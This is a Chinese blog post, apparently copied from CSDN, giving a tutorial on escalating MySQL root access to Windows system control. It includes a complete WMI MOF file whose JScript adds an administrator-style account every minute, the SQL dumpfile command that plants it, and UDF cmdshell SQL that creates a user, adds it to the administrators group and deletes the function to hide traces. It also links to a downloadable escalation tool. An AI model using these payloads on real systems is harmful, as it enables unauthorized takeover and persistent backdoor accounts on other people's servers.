mysql提权方式

MOF

原理

利用了Windows下c:/windows/system32/wbem/mof/目录下的 nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性。

提权要求

1.目标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
注:
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
3.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
4.掌握mysql数据库的账户,需要以root权限。

步骤

1、打开c:/windows/system32/wbem/mof/
2、将以下这段代码nullevt.mof文件

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
    
    
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    
    
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
    
    
Consumer   = $Consumer;
Filter = $EventFilter;
};

3、找个可写目录,上传或新建mof文件
格式如下:

select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

注意这里C:\www\nullevt.mof是你上传mof文件的随意路径,但后面的那个路径是固定的
导入后系统会一直运行这段代码。

UDF

原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

步骤

1、 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
2、创建自定义函数

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数
这里会用到mysqlmysql全版本通杀提权这个工具,大家可以去查找https://download.csdn.net/download/weixin_53549425/21345256?spm=1001.2014.3001.5501

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_53549425/article/details/119803560